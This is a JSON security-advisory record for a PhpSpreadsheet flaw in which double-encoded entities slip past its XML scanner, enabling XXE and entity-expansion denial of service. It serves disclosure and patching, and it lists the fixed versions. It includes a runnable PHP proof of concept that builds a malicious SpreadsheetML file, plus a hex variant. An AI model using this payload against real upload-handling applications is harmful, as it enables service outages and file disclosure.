{"id":"GHSA-rxj4-h86g-25gc","summary":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","details":"### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `\u003c` character as `&#38;#60;`, the first scan decodes `&#38;` to `&` (forming `&#60;`), and the second scan decodes `&#60;` to `\u003c` (forming `\u003c!DOCTYPE`). Neither scan's pattern check detects the `\u003c!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = '/\\0*\u003c\\0*!\\0*D\\0*O\\0*...\\0*/';\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    $xml = $this-\u003etoUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    if ($this-\u003ecallback !== null) {\n        $xml = call_user_func($this-\u003ecallback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // \u003c!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this-\u003egetSecurityScannerOrThrow()-\u003escan($data); // 1st scan\n// ...\n$this-\u003efileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content:\n\n```php\n$data = $this-\u003efileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this-\u003egetSecurityScannerOrThrow()-\u003escan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       &#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check → no match (no \"\u003c\" character)\n                callback → html_entity_decode(&#38;) = &\n                         |\nStored:         &#60;!DOCTYPE\n                         |\n2nd scan():     pattern check → no match (no \"\u003c\" character)\n                callback → html_entity_decode(&#60;) = \u003c\n                         |\nParser sees:    \u003c!DOCTYPE ← never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`&amp; &lt; &gt; &quot; &apos;`) via Unicode placeholders, but numeric entities (`&#38; &#60; &#x26; &#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\n// Double-encoded: &#38;#60; survives two scan() passes\n// 1st scan callback: &#38; → & (forms &#60;)\n// 2nd scan callback: &#60; → \u003c (forms \u003c!DOCTYPE)\n$entity_value = str_repeat('A', 100000);\n$refs = str_repeat('&big;', 200);\n\n$xml = '\u003c?xml version=\"1.0\"?\u003e' . \"\\n\"\n    . '\u003c?mso-application progid=\"Excel.Sheet\"?\u003e' . \"\\n\"\n    . '&#38;#60;!DOCTYPE Workbook [' . \"\\n\"\n    . '  &#38;#60;!ENTITY big \"' . $entity_value . '\"\u003e' . \"\\n\"\n    . ']\u003e' . \"\\n\"\n    . '\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"' . \"\\n\"\n    . '  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e' . \"\\n\"\n    . '  \u003cWorksheet ss:Name=\"Sheet1\"\u003e' . \"\\n\"\n    . '    \u003cTable\u003e\u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003e' . $refs . '\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\u003c/Table\u003e' . \"\\n\"\n    . '  \u003c/Worksheet\u003e' . \"\\n\"\n    . '\u003c/Workbook\u003e';\n\nfile_put_contents('poc.xml', $xml);\necho \"File size: \" . filesize('poc.xml') . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader-\u003ecanRead('poc.xml') ? 'true' : 'false') . \"\\n\";\n$spreadsheet = $reader-\u003eload('poc.xml');\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell('A1')-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `&#38;#60;` with `&#38;#x3C;` — both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `\u003c?mso-application progid=\"Excel.Sheet\"?\u003e` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.","aliases":["CVE-2026-108357"],"modified":"2026-10-27T15:47:24.893154899Z","published":"2026-10-27T15:38:22Z","database_specific":{"nvd_published_at":"2026-10-22T18:17:26Z","cwe_ids":["CWE-611","CWE-776"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-27T15:38:22Z"},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108357"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"5.10.0"}]}],"versions":["4.0.0","4.1.0","4.2.0","4.3.0","4.3.1","4.4.0","4.5.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.5.0","5.6.0","5.7.0","5.8.0","5.8.1","5.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.9.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxj4-h86g-25gc/GHSA-rxj4-h86g-25gc.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.10.8"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2","3.9.3"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxj4-h86g-25gc/GHSA-rxj4-h86g-25gc.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N"}]}